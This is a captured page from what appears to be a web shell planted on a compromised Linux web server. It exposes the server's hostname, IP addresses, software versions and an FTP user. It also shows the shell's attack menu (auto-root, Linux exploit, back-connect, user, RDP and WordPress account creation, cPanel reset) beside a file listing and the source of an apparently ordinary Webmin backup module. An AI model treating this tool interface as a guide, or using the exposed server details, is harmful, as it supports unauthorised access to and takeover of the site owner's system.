Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
fsdump /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
3.42
KB
-rw-r--r--
acl_security.pl
1.16
KB
-rwxr-xr-x
backup.cgi
2.27
KB
-rwxr-xr-x
backup.pl
3.17
KB
-rwxr-xr-x
cgi_args.pl
361
B
-rwxr-xr-x
config
91
B
-rw-r--r--
config.info
534
B
-rw-r--r--
config.info.ar
640
B
-rw-r--r--
config.info.ca
658
B
-rw-r--r--
config.info.cs
437
B
-rw-r--r--
config.info.de
632
B
-rw-r--r--
config.info.es
430
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ko
451
B
-rw-r--r--
config.info.nl
608
B
-rw-r--r--
config.info.no
588
B
-rw-r--r--
config.info.pl
672
B
-rw-r--r--
config.info.pt_BR
440
B
-rw-r--r--
config.info.ru
144
B
-rw-r--r--
config.info.uk
157
B
-rw-r--r--
defaultacl
39
B
-rw-r--r--
delete_dumps.cgi
720
B
-rwxr-xr-x
edit_dump.cgi
5.54
KB
-rwxr-xr-x
feedback_files.pl
229
B
-rwxr-xr-x
freebsd-lib.pl
12.2
KB
-rwxr-xr-x
fsdump-lib.pl
8.1
KB
-rwxr-xr-x
ftp.pl
3.69
KB
-rwxr-xr-x
index.cgi
4.63
KB
-rwxr-xr-x
install_check.pl
379
B
-rwxr-xr-x
irix-lib.pl
8.19
KB
-rwxr-xr-x
kill.cgi
877
B
-rwxr-xr-x
linux-lib.pl
23.24
KB
-rwxr-xr-x
log_parser.pl
770
B
-rwxr-xr-x
macos-lib.pl
12.2
KB
-rwxr-xr-x
module.info
447
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
162
B
-rw-r--r--
module.info.ar
232
B
-rw-r--r--
module.info.ar.auto
19
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
307
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
298
B
-rw-r--r--
module.info.ca
138
B
-rw-r--r--
module.info.ca.auto
17
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
116
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
152
B
-rw-r--r--
module.info.de
146
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
355
B
-rw-r--r--
module.info.es
50
B
-rw-r--r--
module.info.es.auto
149
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
170
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
235
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
188
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
191
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
188
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
168
B
-rw-r--r--
module.info.hu
31
B
-rw-r--r--
module.info.hu.auto
155
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
181
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
231
B
-rw-r--r--
module.info.ko
32
B
-rw-r--r--
module.info.ko.auto
125
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
178
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
123
B
-rw-r--r--
module.info.ms.auto
19
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
153
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.auto
130
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.auto
127
B
-rw-r--r--
module.info.pl
102
B
-rw-r--r--
module.info.pl.auto
18
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
41
B
-rw-r--r--
module.info.pt_BR.auto
127
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
164
B
-rw-r--r--
module.info.ru
50
B
-rw-r--r--
module.info.ru.auto
218
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
160
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
176
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
158
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
265
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
162
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
305
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
223
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
183
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
119
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
98
B
-rw-r--r--
multi.pl
572
B
-rwxr-xr-x
newtape.cgi
592
B
-rwxr-xr-x
newtape.pl
1.58
KB
-rwxr-xr-x
notape.pl
493
B
-rwxr-xr-x
prefs.info
21
B
-rw-r--r--
restore.cgi
935
B
-rwxr-xr-x
restore_form.cgi
1.1
KB
-rwxr-xr-x
rmulti.pl
784
B
-rwxr-xr-x
save_dump.cgi
3.97
KB
-rwxr-xr-x
solaris-lib.pl
6.36
KB
-rwxr-xr-x
uninstall.pl
347
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fsdump-lib.pl
#!/usr/bin/perl # fsdump-lib.pl # Common functions for doing filesystem backups with dump BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); if ($gconfig{'os_type'} =~ /^\S+\-linux$/) { do "linux-lib.pl"; } else { do "$gconfig{'os_type'}-lib.pl"; } &foreign_require("mount", "mount-lib.pl"); %access = &get_module_acl(); $cron_cmd = "$module_config_directory/backup.pl"; $newtape_cmd = "$module_config_directory/newtape.pl"; $notape_cmd = "$module_config_directory/notape.pl"; $multi_cmd = "$module_config_directory/multi.pl"; $rmulti_cmd = "$module_config_directory/rmulti.pl"; $ftp_cmd = "$module_config_directory/ftp.pl"; # list_dumps() # Returns a list of all scheduled dumps sub list_dumps { local (@rv, $f); opendir(DIR, $module_config_directory); foreach $f (sort { $a cmp $b } readdir(DIR)) { next if ($f !~ /^(\S+)\.dump$/); push(@rv, &get_dump($1)); } closedir(DIR); return @rv; } # get_dump(id) sub get_dump { local %dump; &read_file("$module_config_directory/$_[0].dump", \%dump) || return undef; $dump{'id'} = $_[0]; return \%dump; } # save_dump(&dump) sub save_dump { $_[0]->{'id'} = $$.time() if (!$_[0]->{'id'}); &lock_file("$module_config_directory/$_[0]->{'id'}.dump"); &write_file("$module_config_directory/$_[0]->{'id'}.dump", $_[0]); &unlock_file("$module_config_directory/$_[0]->{'id'}.dump"); } # delete_dump(&dump) sub delete_dump { &lock_file("$module_config_directory/$_[0]->{'id'}.dump"); unlink("$module_config_directory/$_[0]->{'id'}.dump"); &unlock_file("$module_config_directory/$_[0]->{'id'}.dump"); } # directory_filesystem(dir) # Returns the filesystem type of some directory , or the full details # if requesting an array sub directory_filesystem { local $fs; foreach my $m (sort { length($a->[0]) <=> length($b->[0]) } &mount::list_mounted()) { local $l = length($m->[0]); if ($m->[0] eq $_[0] || $m->[0] eq "/" || (length($_[0]) >= $l && substr($_[0], 0, $l+1) eq $m->[0]."/")) { $fs = $m; } } return wantarray ? @$fs : $fs->[2]; } # is_mount_point(dir) # Returns 1 if some directory is a filesystem mount point sub is_mount_point { local ($dir) = @_; foreach my $m (&mount::list_mounted()) { return 1 if ($m->[0] eq $dir); } return 0; } # same_filesystem(fs1, fs2) # Returns 1 if type filesystem types are the same sub same_filesystem { local ($fs1, $fs2) = @_; $fs1 = "ext2" if ($fs1 eq "ext3"); $fs2 = "ext2" if ($fs2 eq "ext3"); return lc($fs1) eq lc($fs2); } # date_subs(string, [time]) sub date_subs { local ($path, $time) = @_; local $rv; if ($config{'date_subs'}) { eval "use POSIX"; eval "use posix" if ($@); local @tm = localtime($time || time()); &clear_time_locale(); $rv = strftime($path, @tm); &reset_time_locale(); } else { $rv = $path; } if ($config{'webmin_subs'}) { $rv = &substitute_template($rv, { }); } return $rv; } # execute_before(&dump, handle, escape) # Executes the before-dump command, and prints the output. Returns 1 on success # or 0 on failure sub execute_before { my ($dump, $h, $esc) = @_; if ($dump->{'before'}) { &set_dump_envs($dump); &open_execute_command(before, "($dump->{'before'}) 2>&1 </dev/null", 1); while(<before>) { print $h $esc ? &html_escape($_) : $_; } close(before); &reset_dump_envs(); return !$?; } return 1; } # execute_after(&dump, handle, escape) # Executes the before-dump command, and prints the output. Returns 1 on success # or 0 on failure sub execute_after { my ($dump, $h, $esc) = @_; if ($dump->{'after'}) { &set_dump_envs($dump); &open_execute_command(after, "($dump->{'after'}) 2>&1 </dev/null", 1); while(<after>) { print $h $esc ? &html_escape($_) : $_; } close(after); &reset_dump_envs(); return !$?; } return 1; } # set_dump_envs(&dump) # Sets FSDUMP_ environment variables based on attributes of the dump sub set_dump_envs { my ($dump) = @_; foreach my $k (keys %$dump) { $ENV{'FSDUMP_'.uc($k)} = $dump->{$k}; } } # reset_dump_envs() # Clear all variables set by set_dump_envs sub reset_dump_envs { foreach my $k (keys %ENV) { delete($ENV{$k}) if ($k =~ /^FSDUMP_/); } } # running_dumps(&procs) # Returns a list of backup jobs currently in progress, and their statuses sub running_dumps { local ($p, @rv, %got); foreach $p (@{$_[0]}) { if (($p->{'args'} =~ /$cron_cmd\s+(\S+)/ || $p->{'args'} =~ /$module_root_directory\/backup.pl\s+(\S+)/) && $p->{'args'} !~ /^\/bin\/(sh|bash|csh|tcsh)/) { local $backup = &get_dump($1); local $sfile = "$module_config_directory/$1.$p->{'pid'}.status"; local %status; if (&read_file($sfile, \%status)) { $backup->{'status'} = \%status; $backup->{'pid'} = $p->{'pid'}; push(@rv, $backup); $got{$sfile} = 1 if (!$status{'end'}); } } } # Remove any left over .status files opendir(DIR, $module_config_directory); local $f; foreach $f (readdir(DIR)) { local $path = "$module_config_directory/$f"; unlink($path) if ($path =~ /\.status$/ && !$got{$path}); } closedir(DIR); return @rv; } # can_edit_dir(dir) # Returns 1 if some backup can be used or edited sub can_edit_dir { return 1 if ($access{'dirs'} eq '*'); local ($d, $dd); local @ddirs = !ref($_[0]) ? ( $_[0] ) : $supports_multiple ? split(/\s+/, $_[0]->{'dir'}) : ( $_[0]->{'dir'} ); foreach $dd (@ddirs) { local $anyok = 0; foreach $d (split(/\t+/, $access{'dirs'})) { $anyok = 1 if (&is_under_directory($d, $dd)); } return 0 if (!$anyok); } return 1; } sub create_wrappers { &foreign_require("cron", "cron-lib.pl"); &cron::create_wrapper($notape_cmd, $module_name, "notape.pl"); &cron::create_wrapper($newtape_cmd, $module_name, "newtape.pl"); &cron::create_wrapper($multi_cmd, $module_name, "multi.pl"); &cron::create_wrapper($rmulti_cmd, $module_name, "rmulti.pl"); } # new_header(title) sub new_header { print "</table></td></tr></table><br>\n"; print "<table border width=100%>\n"; print "<tr $tb> <td><b>$_[0]</b></td> </tr>\n"; print "<tr $cb> <td><table width=100%>\n"; } # dump_directories(&dump) sub dump_directories { if (!&multiple_directory_support($_[0]->{'fs'})) { return $_[0]->{'dir'}; } elsif ($_[0]->{'tabs'}) { return split(/\t+/, $_[0]->{'dir'}); } else { return split(/\s+/, $_[0]->{'dir'}); } } # run_ssh_command(command, output-fh, output-mode, password) # Run some command and display it's output, possibly providing a password # if one is requested sub run_ssh_command { local ($cmd, $fh, $fhmode, $pass) = @_; &foreign_require("proc", "proc-lib.pl"); local ($cfh, $fpid) = &proc::pty_process_exec_logged($cmd); local ($wrong_password, $got_login, $connect_failed); local $out; local $stars = ("*" x length($pass)); while(1) { local $rv = &wait_for($cfh, "password:|Password\\s+for\\s+\\S+:", "yes\\/no", "(^|\\n)\\s*Permission denied.*\n", "ssh: connect.*\n", ".*\n"); if ($wait_for_input !~ /^\s*DUMP:\s+ACLs\s+in\s+inode/i) { $wait_for_input =~ s/\Q$pass\E/$stars/g; if ($fhmode) { print $fh &html_escape($wait_for_input); } else { print $fh $wait_for_input; } } if ($rv == 0) { syswrite($cfh, "$pass\n"); } elsif ($rv == 1) { syswrite($cfh, "yes\n"); } elsif ($rv == 2) { $wrong_password++; last; } elsif ($rv == 3) { $connect_failed++; } elsif ($rv < 0) { last; } } close($cfh); local $got = waitpid($fpid, 0); return $?; } # rsh_command_input(selname, textname, value) # Returns HTML for selecting an rsh command sub rsh_command_input { local ($selname, $textname, $rsh) = @_; local $ssh = &has_command("ssh"); local $r = $ssh && $rsh eq $ssh ? 1 : $rsh eq $ftp_cmd ? 3 : $rsh ? 2 : 0; local @opts = ( [ 0, $text{'dump_rsh0'} ], [ 1, $text{'dump_rsh1'} ], [ 3, $text{'dump_rsh3'} ] ); if ($r == 2) { push(@opts, [ 2, $text{'dump_rsh2'}." ". &ui_textbox($textname, $rsh, 30) ]); } return &ui_radio($selname, $r, \@opts); } # rsh_command_parse(selname, textname) # Returns the rsh command to use for a backup/restore, based on %in sub rsh_command_parse { local ($selname, $textname) = @_; if ($in{$selname} == 0) { return undef; } elsif ($in{$selname} == 1) { local $ssh = &has_command("ssh"); $ssh || &error($text{'dump_essh'}); return $ssh; } elsif ($in{$selname} == 3) { return $ftp_cmd; } else { $in{$textname} =~ /^(\S+)/ && &has_command("$1") || &error($text{'dump_ersh'}); return $in{$textname}; } } 1;
Close